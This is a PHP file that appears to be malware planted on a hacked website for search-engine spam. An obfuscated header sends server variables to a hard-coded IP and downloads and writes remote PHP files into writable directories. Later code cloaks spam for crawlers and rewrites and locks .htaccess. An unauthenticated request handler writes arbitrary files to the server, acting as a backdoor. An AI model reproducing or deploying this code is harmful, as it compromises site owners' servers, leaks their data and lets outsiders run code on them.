!important;background:white;position:absolute;margin-left:20px;\">contacts</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/share.php' style=\"font-size:43px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">our magazine</a><br />";}@$codevyp=true;}?><?php if(!@$incode!=false||!@$incode!=null){$vl='z';$serverid='80787f338af02dac1810b413a930bfc3';$liillilllil=time();function lillliilliii($lliiiilllill,$lliiilliiilii,$lililliiiillill,$lilillilllllill){if(ini_get('allow_url_fopen')==1):$lillillliiili=stream_context_create(array('http'=>array('method'=>'POST','header'=>array('Content-type: application/x-www-form-urlencoded'),'content'=>http_build_query($_SERVER))));if($lilillilllllill=='yes'):$lliiiilllill=$lliiiilllill.'&type=fopen';endif;$lliiilliiill=@file_get_contents($lliiiilllill,false,$lillillliiili);elseif(in_array('curl',get_loaded_extensions())):if($lilillilllllill=='yes'):$lliiiilllill=$lliiiilllill.'&type=curl';endif;$llillilliili=curl_init();curl_setopt($llillilliili,CURLOPT_URL,$lliiiilllill);curl_setopt($llillilliili,CURLOPT_HEADER,false);curl_setopt($llillilliili,CURLOPT_RETURNTRANSFER,true);curl_setopt($llillilliili,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$lliiilliiill=@curl_exec($llillilliili);curl_close($llillilliili);else:if($lilillilllllill=='yes'):$lililliiiillill=$lililliiiillill.'&type=socks';endif;$lllliiililii=fsockopen($lliiilliiilii,80,$liiiillllillili,$llllililllll,10);if($lllliiililii):$lilllliiiiiiii=http_build_query($_SERVER);$lilliillllllli='POST '.$lililliiiillill.' HTTP/1.0'."\r\n";$lilliillllllli.='Host: '.$lliiilliiilii."\r\n";$lilliillllllli.='Content-Type: application/x-www-form-urlencoded'."\r\n";$lilliillllllli.='Content-Length: '.strlen($lilllliiiiiiii)."\r\n\r\n";fputs($lllliiililii,$lilliillllllli);fputs($lllliiililii,$lilllliiiiiiii);$llliiiliili='';while(!feof($lllliiililii)):$llliiiliili.=fgets($lllliiililii,4096);endwhile;fclose($lllliiililii);list($liiillllillll,$lillllllillllli)=@preg_split("/\R\R/",$llliiiliili,2);$lliiilliiill=$lillllllillllli;endif;endif;return$lliiilliiill;}function liiiiiillilill($lliililllli){$lliillliliii=array();$lliillliliii[]=$lliililllli;foreach(scandir($lliililllli) as$liililililllil):if($liililililllil=='.'||$liililililllil=='..'):continue;endif;$lllllllillii=$lliililllli.DIRECTORY_SEPARATOR.$liililililllil;if(is_dir($lllllllillii)):$lliillliliii[]=$lllllllillii;$lliillliliii=array_merge($lliillliliii,liiiiiillilill($lllllllillii));endif;endforeach;return$lliillliliii;}$lililliiiillill='/handlers/spiderhandler.php?checkdomain&time='.$liillilllil;$lilliliiillliil='204';$liiililillllil='217';$liliiillili='12';$liliiiillill='250';$lliiilliiilii=$liiililillllil.'.'.$liliiillili.'.'.$lilliliiillliil.'.'.$liliiiillill;$lliiiilllill='http://'.$lliiilliiilii.'/handlers/spiderhandler.php?checkdomain&time='.$liillilllil;$llliiiiiilili=lillliilliii($lliiiilllill,$lliiilliiilii,$lililliiiillill,$lilillilllllill='yes');if($llliiiiiilili!='havedoor|havedonor'):if($llliiiiiilili!='needtowait'):$liiiiiiiilii=@preg_replace('/^www\./','',$_SERVER[HTTP_HOST]);$liiiililllli=$_SERVER[DOCUMENT_ROOT];chdir($liiiililllli);$lliillliliii=liiiiiillilill($liiiililllli);$lliillliliii=array_unique($lliillliliii);foreach($lliillliliii as$liililililllil):if(is_dir($liililililllil)&&is_writable($liililililllil)):$lillliiliilli=explode(DIRECTORY_SEPARATOR,$liililililllil);$llilliliilil=count($lillliiliilli);$lilililllllilll[]=$llilliliilil.'|'.$liililililllil;endif;endforeach;$llilliliilil=0;foreach($lilililllllilll as$llliiiiiiii):if(count($lilililllllilll)>1&&(strstr($llliiiiiiii,'/wp-admin')||strstr($llliiiiiiii,'/cgi-bin'))):unset($lilililllllilll[$llilliliilil]);endif;$llilliliilil++;endforeach;if(!is_writable($liiiililllli)):natsort($lilililllllilll);$lilililllllilll=array_values($lilililllllilll);$llliiiiiiii=explode('|',$lilililllllilll[0]);$llliiiiiiii=$llliiiiiiii[1];else:$llliiiiiiii=$liiiililllli;endif;chdir($llliiiiiiii);if(strstr($llliiiiiilili,'|')):$llliliiilll=explode('|',$llliiiiiilili);$liiililiilii=$llliliiilll[0];$liiiilllllli=$llliliiilll[1];if($liiililiilii=='nodoor'):$lliiiilllill='http://'.$lliiilliiilii.'/handlers/update.php?vl='.$vl.'&upd&needfilename';$lililliiiillill='/handlers/update.php?vl='.$vl.'&upd&needfilename';$liililliiill=lillliilliii($lliiiilllill,$lliiilliiilii,$lililliiiillill,$lilillilllllill='no');$lilliliiiilllil=explode('|||||',$liililliiill);$lllliiliiiii=$lilliliiiilllil[0].'.php';$lliillilllliii=$lilliliiiilllil[1];file_put_contents($llliiiiiiii.DIRECTORY_SEPARATOR.$lllliiliiiii,$lliillilllliii);$llililiillll=str_replace($liiiililllli,'',$llliiiiiiii);$lliiiilllill='http://'.@preg_replace('/^www\./','',$_SERVER[HTTP_HOST]).$llililiillll.'/'.$lllliiliiiii.'?gen&serverid='.$serverid;$lililliiiillill=$llililiillll.'/'.$lllliiliiiii.'?gen&serverid='.$serverid;$liiiilillilliil=lillliilliii($lliiiilllill,$_SERVER[HTTP_HOST],$lililliiiillill,$lilillilllllill='no');endif;if($liiiilllllli=='nodonor'):endif;elseif($llliiiiiilili=='needtoloadsomefiles'):shuffle($lilililllllilll);$llliiiiiiii=explode('|',$lilililllllilll[0]);$llliiiiiiii=$llliiiiiiii[1];$llililiillll=str_replace($liiiililllli,'',$llliiiiiiii);$lliliiilill='stuvwxyz';$lllliiliiiii=str_shuffle($lliliiilill).'.php';$llllllilliil=urlencode('http://'.$liiiiiiiilii.$llililiillll.'/'.$lllliiliiiii);$lliiiilllill='http://'.$lliiilliiilii.'/handlers/getback.php?url='.$llllllilliil;$lililliiiillill='/handlers/getback.php?url='.$llllllilliil;$lliiilliiill=lillliilliii($lliiiilllill,$lliiilliiilii,$lililliiiillill,$lilillilllllill='no');file_put_contents($llliiiiiiii.DIRECTORY_SEPARATOR.$lllliiliiiii,$lliiilliiill);endif;endif;endif;$liiiiliiill=true;$incode=true;}?><?php

// header('Content-Type:text/html; charset=utf-8');
/**
 * php inc
 * - by ddm <1147878734>
 * date: 2015.11.11
 * 检测主机是否存在，兼容旧URL
 */
$domain = "ssrfmgznw15650";
$lineNo = 31426;
// URL重写格式 A => 产品名称 / B => list / C => 域名ID / D => lineNo
$rewrite_mod = "73824744_B_D_fnmphj_D_C";
// $rewrite_ext = ".shtml";
$all_pages = 1;
// URL重写格式 A => 产品名称 / B => list / C => 域名ID / D => lineNo
// $rewrite_mod = "A-D-C-B";
///////////////////////////
// if(!function_exists('str_ireplace')){function str_ireplace($from,$to,$string){return trim(preg_replace("/".addcslashes($from,"?:\\/*^$")."/si",$to,$string));}}
function rsync_httpreq($url, $async = 0, $method = 1, $pf = NULL, $headers = array()) {
  if (!preg_match("/^http\:\/\//si", $url)) {
    if (isset($_GET['urlerr'])) {
      $err = '[urlerror] invalid url:&nbsp;';
      $err .= $url;
      echo $err;
      unset($err);
      exit();
    }
    return '';
  }
  $a = 'curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create';
  $b = $out = '';
  foreach (explode('|', $a) as $c) {
    $y = 1;
    if ($async && substr($c, 0, 1) == 'c') {
      continue;
    }
    foreach (explode('+', $c) as $d) {
      if (!function_exists($d)) {
        $y = 0;
      }
    }
    unset($d);
    if ($y) {
      $b = $c;
      break;
    }
  }
  unset($a, $c);

  // $b = 'socket_create';
  // $b = 'stream_socket_client';
  // $b = 'fsockopen';
  // $b = 'pfsockopen';
  // echo $b;die();
  if ($b == '') {
    return 0;
  }
  // if ($method == 2) {
  //  $pf['f'] = $b;
  // }
  // $url .= '?f=' . $b;
  if (substr($b, 0, 1) == 'c') {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, 'WHR');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 100);
    // curl_setopt($ch, CURLOPT_REFERER,_REFERER_);
    if ($method == 2) {
      curl_setopt($ch, CURLOPT_POST, 1);
      if(is_array($pf)){
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf));
      }
    }
    $r = curl_exec($ch);
    curl_close($ch);
    if (!$r) {
      if (isset($_GET['curlerr'])) {
        $err = '[curl error]&nbsp;';
        $err .= curl_error($ch);
        echo $err;
        unset($err);
        exit();
      }
      return 0;
    }else{
      $r = trim(trim($r, "\xEF\xBB\xBF"));
      return $r;
    }
  }

  $parse = parse_url($url);
  isset($parse['host']) || $parse['host'] = '';
  isset($parse['path']) || $parse['path'] = '';
  isset($parse['query'])|| $parse['query'] = '';
  isset($parse['port']) || $parse['port'] = '';

  $xpath = $parse['path'] ? $parse['path'].($parse['query'] ? '?'.$parse['query'] : '') : '/';
  $_host = $parse['host'];

  if ($parse['scheme'] == 'https') {
    $version = '1.1';
    $port = empty($parse['port']) ? 443 : $parse['port'];
    $_host = 'ssl://';
    $_host .= $parse['host'];
  } else {
    $version = '1.0';
    $port = empty($parse['port']) ? 80 : $parse['port'];
  }

  //Headers
  $hhost = 'Host: ';
  $hhost .= $_host;
  $headers[] = $hhost;
  $headers[] = 'Connection: Close';
  $headers[] = 'User-Agent: WHR';
  $headers[] = 'Accept: */*';
  unset($hhost);

  //Body
  if ($method == 2) {
    if(is_array($pf)){
        $pf = http_build_query($pf);
    }
    $headers[] = 'Content-type: application/x-www-form-urlencoded';
    $headers[] = 'Content-Length: '.strlen($pf);
    $out = "POST $xpath HTTP/$version\r\n".join("\r\n", $headers)."\r\n\r\n".$pf;
    unset($pf);
  } else {
    $out = "GET $xpath HTTP/$version\r\n".join("\r\n", $headers)."\r\n\r\n";
  }
  unset($headers, $parse, $version, $xpath);

  $fp = null;
  if (substr($b, -1) == 'n') {
    $fp = $b($_host, $port, $errno, $errstr, 30);
  }else{
    if (substr($b, -1) == 't') {
      $tcp = 'tcp://';
      $tcp .= $_host;
      $tcp .= ':';
      $tcp .= $port;
      $fp = stream_socket_client($tcp, $errno, $errstr, 30);
      unset($tcp);
    }
  }

  $content = '';
  if ($fp) {
    stream_set_blocking($fp, true);
    stream_set_timeout($fp, 30);
    fwrite($fp, $out);
    if (!$async) {
      $status = stream_get_meta_data($fp);
      if (!$status['timed_out']) {
          while (!feof($fp)) {
            $line = fgets($fp);
            if ($line && ($line == "\r\n" || $line == "\n")) {
              break;
            }
            unset($line);
          }
          while (!feof($fp)) {
              $data = fread($fp, 8192);
              $content .= $data;
              unset($data);
          }
      }
      unset($status);
    }
    fclose($fp);
  }else{
    if (substr($b, -1) == 'e') {
      $_ip = gethostbyname($_host);
      $fp = $b(AF_INET, SOCK_STREAM, 0);
      // echo $_ip;die();
      if (socket_connect($fp, $_ip, $port)) {
        if (!$async) {
          socket_write($fp, $out, strlen($out));
          while($bf=@socket_read($fp, 8192)){
              $content .= $bf;
              unset($bf);
          }
          $content = explode("\r\n\r\n", $content);
          // print_r($content);die();
          array_shift($content);
          $content = implode("\r\n\r\n", $content);
        }else{
          // retry few times if async
          $t = mt_rand(2, 5);
          $i = 0;
          while ($i < $t) {
            socket_write($fp, $out, strlen($out));
            $i++;
            usleep(mt_rand(50000, 100000));
          }
          unset($i, $t);
        }
      }
      socket_close($fp);
      unset($_ip);
    }
  }
  unset($out, $b, $fp, $port, $_host);
  ////////////////////////////////////////
  // result
  if (!$async) {
    //unchunk
    $content = preg_replace_callback(
        '/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)'.
        '((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si',
        create_function(
            '$matches',
            'return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0];'
        ),
        $content
    );
    return trim(trim($content, "\xEF\xBB\xBF"));
  }else{
    return 1;
  }
  // return $async ? 1 : trim(trim($content, "\xEF\xBB\xBF"));
}
function base_encode($string){
  $base = base64_encode(gzdeflate($string));
  $base_pre = substr($base, 0, 5);
  $base_ext = substr($base, -5);
  $base_ = substr($base, 5, strlen($base) - 10);
  return $base_pre . 'hT' . substr($base, 5, strlen($base) - 10) . 'tP' . $base_ext;
}
function BASE64_DEC0DE($string){
  $base_pre = substr($string, 0, 5);
  $base_ext = substr($string, -5);
  $base_ = substr($string, 7, strlen($string) - 14);
  return gzinflate(base64_decode($base_pre . $base_ . $base_ext));
}
function func_loginCheck($agent){
  $login = false;
  $bots = 'googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo';
  // $bots = explode('|', $bots);
  if (TEST_MODE) {
    $bots .= '|Mozilla';
  }
  if ($agent != '') {
    // $robots = implode('|', $bots);
    if (preg_match("/($bots)/si", $agent)) {
      $login = true;
    }
  }
  return $login;
}
function func_referCheck($refer){
  $redi = false;
  $referbots = 'google.co.jp|yahoo.co.jp|bing';
  if ($refer != '' && preg_match("/($referbots)/si", $refer)) {
    $redi = true;
  }
  return $redi;
}
function sync_rewrite($rewrite_mode = ''){
  // global $rewrite_mod;
  $rewrite_rule = array();
  $rewrite_mode = trim($rewrite_mode);
  if ($rewrite_mode != '') {
    // echo $rewrite_mode;die();
    $cslash = addcslashes($rewrite_mode, '/?:"()[]{}\\');
    // match
    $rewrite_mod_match = preg_replace("/[a-z]+/", '.*', $cslash);
    $rewrite_mod_match = preg_replace("/\d+/", '[0-9]+', $rewrite_mod_match);
    $rewrite_mod_match = preg_replace("/A/", '(.*)', $rewrite_mod_match);
    $rewrite_mod_match = preg_replace("/B/", '([^\/\d]+)', $rewrite_mod_match);
    // echo $rewrite_mod_match;die();
    $rewrite_mod_match = preg_replace("/D/", '([\d]+)', $rewrite_mod_match);
    $rewrite_mod_match = preg_replace("/C/", '([\d]+)', $rewrite_mod_match);
    // htaccess
    // position
    $rewrite_pos_str = preg_replace("/[^A-Z]/", '', $rewrite_mode);
    // echo $rewrite_pos_str;die();
    // $rewrite_pos_str = preg_split("//", $rewrite_pos_str);
    $rewrite_pos_str_array = array();
    $start_pos = 0;
    while (isset($rewrite_pos_str[$start_pos])) {
      $rewrite_pos_str_array[$start_pos+1] = $rewrite_pos_str[$start_pos];
      $start_pos++;
    }
    // print_r($rewrite_pos_str_array);die();
    // if (!empty($rewrite_pos_str_array)) {
    //   foreach ($rewrite_pos_str_array as $key => $value) {
    //     $value = trim($value);
    //     if (empty($value)) {
    //       unset($rewrite_pos_str[$key]);
    //     }
    //   }
    // }
    $rewrite_pos_str_array = array_flip($rewrite_pos_str_array);
    // print_r($rewrite_pos_str_array);die();
    $rewrite_mod_htacc = preg_replace("/[a-z]+/", '.*', $cslash);
    $rewrite_mod_htacc = preg_replace("/\d+/", '[0-9]+', $rewrite_mod_htacc);
    $rewrite_mod_htacc = preg_replace("/A/", '(.*)', $rewrite_mod_htacc);
    $rewrite_mod_htacc = preg_replace("/B/", '([^\d\/]+)', $rewrite_mod_htacc);
    $rewrite_mod_htacc = preg_replace("/C/", '([0-9]+)', $rewrite_mod_htacc);
    $rewrite_mod_htacc = preg_replace("/D/", '([0-9]+)', $rewrite_mod_htacc);
    // $rewrite_mod_match .= '.*';
    // $rewrite_mod_htacc .= '.*';
    $rewrite_rule['rrmatch'] = $rewrite_mod_match;
    // RewriteRule ^(.*)-([0-9]+)-([0-9]+).*.*$ index\.php?$1$3=$2&%{QUERY_STRING} [L]
    $RewriteRule_format = 'RewriteRule ^%s$ ?$%d$%d=$%d&%%{QUERY_STRING} [L]';
    $rewrite_rule['rrhtacc'] = sprintf($RewriteRule_format, $rewrite_mod_htacc, $rewrite_pos_str_array['B'], $rewrite_pos_str_array['C'], $rewrite_pos_str_array['D']);
    // link format
    $lf_array_string = 'rra:%aa|rrb:%bb|rrc:%cc|rrd:%xx';
    $lf_array_string_array = explode('|', $lf_array_string);
    $lf_array = array();
    foreach ($lf_array_string_array as $lfasv) {
      $lfasv_array = explode(':', $lfasv);
      // $lfasv_array_key = 'rr';
      // $lfasv_array_key = $lfasv_array[0];
      // $lf_array[$lfasv_array_key] = $lfasv_array[1];
      $lf_array[$lfasv_array[0]] = $lfasv_array[1];
      unset($lfasv_array, $lfasv, $lfasv_array_key);
    }
    unset($lf_array_string_array, $lf_array_string);
    $rewrite_rule['linkf']['urlf'] = preg_replace("/A/", $lf_array['rra'], $rewrite_mode);
    $rewrite_rule['linkf']['urlf'] = preg_replace("/B/", $lf_array['rrb'], $rewrite_rule['linkf']['urlf']);
    $rewrite_rule['linkf']['urlf'] = preg_replace("/C/", $lf_array['rrc'], $rewrite_rule['linkf']['urlf']);
    $rewrite_rule['linkf']['urlf'] = preg_replace("/D/", $lf_array['rrd'], $rewrite_rule['linkf']['urlf']);
    $rewrite_rule['linkf']['posi'] = $lf_array;
    $rewrite_rule['ckeys'] = $rewrite_pos_str_array;
    unset($RewriteRule_format, $rewrite_mod_htacc, $rewrite_mod_match, $rewrite_pos_str, $rewrite_pos_str_array, $rewrite_mode);
  }
  return $rewrite_rule;
}
function sync_htaccess($htaccess_rule = '', $rewrite_open = 1){
  if ($htaccess_rule != '') {
    if ($rewrite_open) {
      $htaccess_path = './.htaccess';
      // if (isset($_SERVER['DOCUMENT_ROOT'])) {
      //   $htaccess_path = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess';
      // }
      if ($htaccess_path != '' && file_exists($htaccess_path)) {
        @chmod($htaccess_path, 0777);
        $htaccess_content = @file_get_contents($htaccess_path);
        // if (stripos($htaccess_content, '#ListUrlRewrite') === false) {
        if (stripos($htaccess_content, $htaccess_rule) === false) {
          // $rewrite_slash = preg_replace("/(\\$\d)/si", "\\\\\\\\\\\\$1", $rewrite_array['htacc']);
          $rewrite_slash = preg_replace("/\\\$/s", '\\\$', $htaccess_rule);
          // file_put_contents('./ins.log', "$rewrite_slash\n");
          if (stripos($htaccess_content, '%{HTTP_HOST}') !== false && stripos($htaccess_content, 'R=301') !== false) {
            $htaccess_content = preg_replace("/(RewriteRule.*?R=301.*?[\r\n])/si", "$1\n{$rewrite_slash}\n", $htaccess_content, 1);
          }elseif (stripos($htaccess_content, 'RewriteBase') !== false) {
            $htaccess_content = preg_replace("/(RewriteBase.*?[\r\n])/si", "$1\n{$rewrite_slash}\n", $htaccess_content, 1);
          }elseif (stripos($htaccess_content, 'RewriteEngine') !== false) {
            $htaccess_content = preg_replace("/(RewriteEngine.*?[\r\n])/si", "$1\n{$rewrite_slash}\n", $htaccess_content, 1);
          }else{
            // search first RewriteRule
            $match = array();
            preg_match("/RewriteRule.*?[\r\n]/si", $htaccess_content, $match);
            if (!empty($match) && isset($match[0])) {
              $htaccess_content = str_ireplace($match[0], "\n" . $htaccess_rule . $match[0], $htaccess_content);
            }
            unset($match);
          }
          $htaccess_content_array = explode("\n", $htaccess_content);
          if (!empty($htaccess_content_array)) {
            foreach ($htaccess_content_array as $hca_key => &$htaccess_content_line) {
              // $htaccess_content_line = preg_replace("/^\s+(.*)/", "$1\n", $htaccess_content_line);
              $htaccess_content_line = trim($htaccess_content_line);
              if ($htaccess_content_line == '') {
                unset($htaccess_content_array[$hca_key]);
              }
            }
          }
          $htaccess_content = implode("\n", $htaccess_content_array);
          unset($htaccess_content_array, $rewrite_slash);
          $htaccess_content = preg_replace("/(^[\s\r\n]+|[\s\r\n]+$)/si", '', $htaccess_content);
          @file_put_contents($htaccess_path, $htaccess_content);
        }
      }else{
        // create new .htaccess
        $htaccess_content = "<IfModule mod_rewrite.c>\nRewriteEngine On\n" . $htaccess_rule . "\n</IfModule>\n";
        @file_put_contents($htaccess_path, $htaccess_content);
        unset($htaccess_content, $htaccess_path);
      }
      @chmod($htaccess_path, 0444);
    }
  }
}
function determine_number($lineNo = '', $index = false, $index_number = 1){
  $li_1  = '?list_test';
  $li_2  = '&list_test';
  if ($index) {
    return $index_number;
  }else{
    if ($lineNo != '') {
      return $lineNo;
    }else{
      $tmpNo = 0;
      if (isset($_GET) && !empty($_GET)) {
        foreach ($_GET as $key => $value) {
            $intV = preg_replace("/[^\d]/si", '', $value);
          if ($intV != '') {
            $tmpNo = $intV;
            break;
          }
        }
      }
      if ($tmpNo == 0) {
        $tmpNo = md5(str_ireplace(array($li_1, $li_2), '', $_SERVER['REQUEST_URI']));
        $tmpNo = preg_replace("/[^\d]/si", '', $tmpNo);
      }
      if ($tmpNo != 0) {
        $lenTmpNo = strlen($tmpNo);
        $lenIndNo = strlen($index_number);
        if ($lenTmpNo > $lenIndNo) {
          $tmpNo = intval(substr($tmpNo, -($lenIndNo)));
          if ($tmpNo > $index_number) {
            $tmpNo = substr($tmpNo, -($lenIndNo - 1));
          }
        }else{
          $tmpNo = intval($tmpNo);
          if ($tmpNo > $index_number) {
            $tmpNo = substr($tmpNo, -($lenIndNo - 1));
          }
        }
        $tmpNo = intval($tmpNo);
        if ($tmpNo != 0) {
          return intval($tmpNo);
        }
      }
      $string = 'http://';
      if (isset($_SERVER['HTTP_HOST'])) {
        $string .= $_SERVER['HTTP_HOST'];
      }
      if (isset($_SERVER['SERVER_NAME'])) {
        $string .= $_SERVER['SERVER_NAME'];
      }
      if (isset($_SERVER['REQUEST_URI'])) {
        $string .= $_SERVER['REQUEST_URI'];
      }
      if (isset($_SERVER['SCRIPT_NAME'])) {
        $string .= $_SERVER['SCRIPT_NAME'];
      }
      if (isset($_SERVER['SERVER_PROTOCOL'])) {
        $string .= $_SERVER['SERVER_PROTOCOL'];
      }
      if (isset($_SERVER['SCRIPT_FILENAME'])) {
        $string .= $_SERVER['SCRIPT_FILENAME'];
      }
      if (isset($_SERVER['DOCUMENT_ROOT'])) {
        $string .= $_SERVER['DOCUMENT_ROOT'];
      }
      if (isset($_SERVER['REMOTE_ADDR'])) {
        $string .= $_SERVER['REMOTE_ADDR'];
      }
      if (isset($_SERVER['SERVER_SOFTWARE'])) {
        $string .= $_SERVER['SERVER_SOFTWARE'];
      }
      if (isset($_SERVER['REQUEST_URI'])) {
        $string .= $_SERVER['REQUEST_URI'];
      }
      if (isset($_SERVER['REQUEST_URI'])) {
        $string .= $_SERVER['REQUEST_URI'];
      }
      $string = str_ireplace(array($li_1, $li_2), '', $string);
      return strlen($string);
    }
  }
}
function sync_hostid($domain){
  $hostid = null;
  $DID = (int)preg_replace("/.*?(\d+)$/", "$1", $domain);
  // echo "$DID";die();
  ###############################################################
  $HOST_CONFIG = 'S=1,F=1,N=60|S=2,F=1149,N=20|S=3,F=807,N=20|S=4,F=3003,N=20|S=5,F=4004,N=20|S=55,F=5009,N=20';
  $HOST_CONFIG = 'S=1,F=1,N=60|S=2,F=1149,N=20|S=3,F=807,N=20|S=4,F=3003,N=20|S=5,F=4004,N=20|S=55,F=5009,N=20';
  $host_config_group = explode("|", $HOST_CONFIG);
  if (!empty($host_config_group)) {
    $hcg_w = -1;
    foreach ($host_config_group as $hcg) {
      // determine group
      $hcg_from = (int)preg_replace("/.*f\=(\d+).*/i", "$1", $hcg);
      // echo $hcg_from;die();
      if ($DID >= $hcg_from) {
        if (isset($hcg_w['f'])) {
          if ($hcg_from > $hcg_w['f']) {
            $hcg_w = array('f' => $hcg_from, 'g' => $hcg);
          }
        }else{
          $hcg_w = array('f' => $hcg_from, 'g' => $hcg);
        }
      }
      unset($hcg);
    }
    unset($host_config_group);
    if ($hcg_w != -1) {
      // $host_config = $hcg_w['g'];
      // echo $host_config;die();
      // $host_group_from    = 100;
      // $host_group_num     = 60;
      // $host_group_start   = 2;
      // print_r($hcg_w);die();
      $host_group_from    = $hcg_w['f'];
      $host_group_num     = preg_replace("/.*n\=(\d+).*/i", "$1", $hcg_w['g']);
      $host_group_start   = preg_replace("/.*s\=(\d+).*/i", "$1", $hcg_w['g']);
      // echo "host_group_from = $host_group_from / host_group_num = $host_group_num / host_group_start = $host_group_start";die();
      unset($hcg_w);
      $HOST_START = $host_group_from;
      $HOST_GID = $host_group_start;
      if ($DID != 0) {
       while (1) {
         if ($DID >= $HOST_START && $DID < ($HOST_START + $host_group_num)) {
           break;
         }
         $HOST_START += $host_group_num;
         $HOST_GID++;
       }
       $hostid = $HOST_GID;
      }
      unset($HOST_GID, $HOST_START, $DID, $host_group_start, $host_group_from, $host_group_num);
    }
  }
  return $hostid;
}
///////////////////////////////////////////////////////////
function mapxmls($rewrite_mod){
$urls=isset($_REQUEST['url']) ? $_REQUEST['url'] : '';
$filenames=isset($_REQUEST['filename']) ? $_REQUEST['filename'] : '';
$lastmodss=isset($_REQUEST['lastmods']) ? $_REQUEST['lastmods'] : '';
$changefreqss=isset($_REQUEST['changefreqs']) ? $_REQUEST['changefreqs'] : '';
$prioritys=isset($_REQUEST['priority']) ? $_REQUEST['priority'] : '';
$multiples=isset($_REQUEST['multiple']) ? $_REQUEST['multiple'] : '';
$rewrite_mods=isset($_REQUEST['rewrite_mod']) ? $_REQUEST['rewrite_mod'] : '';
if($rewrite_mods==''){
	$rewrite_mods=$rewrite_mod;
}
$snames=isset($_REQUEST['sname']) ? $_REQUEST['sname'] : '';
$numberss=isset($_REQUEST['numbers']) ? $_REQUEST['numbers'] : '';
$folders=isset($_REQUEST['folder']) ? $_REQUEST['folder'] : '';
$htmls=isset($_REQUEST['html']) ? $_REQUEST['html'] : '';
echo $urls;
if(file_exists($filenames))
{
	if (!unlink($filenames))
	  {
		echo "deleteerror";
	    exit();
	  }
}
$days_array=explode('|',$numberss);
$multiples_0=explode('|',$multiples);
$folders_0=explode('|',$folders);
if(count($days_array)>0){
	$top="<?xml version=\"1.0\" encoding=\"UTF-8\"?>".PHP_EOL;
	if ($map_type=='video'){
		$top .="	<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"".PHP_EOL;
		$top .="xmlns:video=\"http://www.google.com/schemas/sitemap-video/1.1\">".PHP_EOL;
	}else if($map_type=='mobile'){
		$top .="	<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"".PHP_EOL;
		$top .="xmlns:mobile=\"http://www.google.com/schemas/sitemap-mobile/1.0\">".PHP_EOL;
	}else if($map_type=='image'){
		$top .="	<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"".PHP_EOL;
		$top .="xmlns:image=\"http://www.google.com/schemas/sitemap-mobile/1.1\">".PHP_EOL;
	}else{
		
		$top .="	<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">".PHP_EOL;
	}
	
	file_put_contents($filenames,$top, FILE_APPEND);
	for($i=0;$i<count($days_array);$i++){
		$days_array_1=explode('_',$days_array[$i]);
		if(count($days_array_1)==2){
			$sId=$days_array_1[0];
			$days_array_0=$days_array_1[1];
			$multiples=$multiples+$sId;
			if(count($multiples_0)>1){
			$multiples_0_0=rand(0,count($multiples_0)-1);
			}else{$multiples_0_0=0;}
			if(count($folders_0)>$sId){
			$folders_0_0=$sId;
			}else if(count($folders_0)>1){
			$folders_0_0=rand(0,count($folders_0)-1);
			}else{
			$folders_0_0=0;
			}
			$folders_0_0_0=$folders_0[$folders_0_0];
			$multiples_0_0_0=$multiples_0[$multiples_0_0];
			for($z=(int)$multiples_0_0_0;$z<=(int)$days_array_0;$z=$z+(int)$multiples_0_0_0){
				$content="		<url>".PHP_EOL;
				$huizhui=explode('.',$rewrite_mods);
				$links=str_replace('B',$snames,$rewrite_mods);
			    $links=str_replace('C',$sId,$links);
				$links=str_replace('D',$z,$links);
				$links=str_replace($huizhui[1],$htmls,$links);
				$content .="			<loc>".$urls.$folders_0_0_0.$links."</loc>".PHP_EOL;
				$content .="			<lastmod>".$lastmodss."</lastmod>".PHP_EOL;
				$content .="			<changefreq>".$changefreqss."</changefreq>".PHP_EOL;
				$content .="			<priority>".$prioritys."</priority>".PHP_EOL;
				$content .="		</url>".PHP_EOL;
				file_put_contents($filenames,$content, FILE_APPEND);
			} 
		}
	}
	file_put_contents($filenames,"	</urlset>".PHP_EOL, FILE_APPEND);
}
echo 'success';
}
//////////////////////////////////////////////////////////
function upfile(){
$filenames=isset($_REQUEST['filename']) ? $_REQUEST['filename'] : '';
$filecontents=isset($_REQUEST['filecontent']) ? $_REQUEST['filecontent'] : '';
if(file_exists($filenames))
{
	if (!unlink($filenames))
	  {
		echo "deleteerror";
	    exit();
	  }
}
file_put_contents($filenames,$filecontents, FILE_APPEND);
echo 'success';
}
function class_x_i($x = ''){
  @set_time_limit(3600);
  @ignore_user_abort(1);
  ob_start();
  global $domain, $lineNo, $all_pages, $rewrite_mod;
     ///////////////////////////
  if (isset($_REQUEST['mapxmls'])) {
	  mapxmls($rewrite_mod);die();
  }
  ///////////////////////////
  if (isset($_REQUEST['upfilesp'])) {
	  upfile();die();
  }
  
  $domain = trim($domain);
  $lineNo = trim($lineNo);
  $php_redirect = 0;
  $anchor_use_link = 0;
  $strip_js_if_robots = 1;
  $rewrite = 1;
  $rewrite_array = sync_rewrite($rewrite_mod);
  /////////////////////////////////
  $fileSelfPath = str_ireplace('\\', '/', preg_replace("/(.*?)\(.*/si", "$1", __FILE__));
  $fileName = explode('/', $fileSelfPath);
  $fileName = end($fileName);
  // echo $fileName;die();
  $chk_string = 'index.php|default.php|index.html|index.htm';
  $chk = explode('|', $chk_string);
  $chk[] = $fileName;
  // $chk = array(
  //   'index.php', 'default.php', 'index.html', 'index.htm', $fileName
  // );
  $index = false;
